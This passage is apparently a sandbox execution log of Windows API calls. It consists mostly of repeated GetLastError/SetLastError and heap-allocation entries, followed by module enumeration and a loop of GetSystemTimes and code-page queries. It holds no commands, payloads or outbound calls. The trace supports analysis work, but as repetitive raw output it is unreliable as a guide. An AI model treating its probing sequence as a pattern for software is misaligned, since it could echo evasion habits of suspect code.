(dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.653] SetLastError (dwErrCode=0x0) [0053.653] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.654] SetLastError (dwErrCode=0x0) [0053.654] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.655] SetLastError (dwErrCode=0x0) [0053.655] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.657] SetLastError (dwErrCode=0x0) [0053.657] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x68) returned 0x1f11990 [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.658] SetLastError (dwErrCode=0x0) [0053.658] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.659] SetLastError (dwErrCode=0x0) [0053.659] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.660] GetLastError () returned 0x0 [0053.660] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.661] GetLastError () returned 0x0 [0053.661] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.662] SetLastError (dwErrCode=0x0) [0053.662] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.663] GetLastError () returned 0x0 [0053.663] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.664] SetLastError (dwErrCode=0x0) [0053.664] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.665] GetLastError () returned 0x0 [0053.665] SetLastError (dwErrCode=0x0) [0053.666] GetLastError () returned 0x0 [0053.666] SetLastError (dwErrCode=0x0) [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x98) returned 0x1f11a00 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1f) returned 0x1f11aa0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x36) returned 0x1f11ac8 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x37) returned 0x1f11b08 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x3c) returned 0x1f11b48 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x31) returned 0x1f11b90 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11bd0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x24) returned 0x1f11bf0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x14) returned 0x1f11c20 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xd) returned 0x1f11c40 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x25) returned 0x1f11c58 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x39) returned 0x1f11c88 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f11cd0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11cf0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xe) returned 0x1f11d10 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x69) returned 0x1f11d28 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x3e) returned 0x1f11da0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1b) returned 0x1f11de8 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1d) returned 0x1f11e10 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x48) returned 0x1f11e38 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x12) returned 0x1f11e88 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f11ea8 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1b) returned 0x1f11ec8 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x24) returned 0x1f11ef0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x29) returned 0x1f11f20 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1e) returned 0x1f11f58 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x41) returned 0x1f11f80 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x17) returned 0x1f11fd0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0xf) returned 0x1f11ff0 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x16) returned 0x1f12008 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x2a) returned 0x1f12028 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x29) returned 0x1f12060 [0053.666] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x15) returned 0x1f12098 [0053.667] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x1e) returned 0x1f120b8 [0053.667] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x2a) returned 0x1f120e0 [0053.667] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x12) returned 0x1f12118 [0053.667] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x18) returned 0x1f12138 [0053.667] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x46) returned 0x1f12158 [0053.667] HeapFree (in: hHeap=0x1f10000, dwFlags=0x0, lpMem=0x1f111f8 | out: hHeap=0x1f10000) returned 1 [0053.668] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x800) returned 0x1f121a8 [0053.668] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x80) returned 0x1f111f8 [0053.668] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0053.668] RtlSizeHeap (HeapHandle=0x1f10000, Flags=0x0, MemoryPointer=0x1f111f8) returned 0x80 [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.668] GetLastError () returned 0x0 [0053.668] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] SetLastError (dwErrCode=0x0) [0053.669] GetLastError () returned 0x0 [0053.669] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.669] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.670] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0053.670] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0053.672] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0053.672] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0053.672] GetTickCount () returned 0x1c486 [0053.672] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.672] GetACP () returned 0x4e4 [0053.672] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.672] GetACP () returned 0x4e4 [0053.672] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.672] GetACP () returned 0x4e4 [0053.672] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.672] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.672] GetACP () returned 0x4e4 [0053.672] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.673] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.673] GetACP () returned 0x4e4 [0053.673] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.674] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.674] GetACP () returned 0x4e4 [0053.674] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.675] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.675] GetACP () returned 0x4e4 [0053.675] 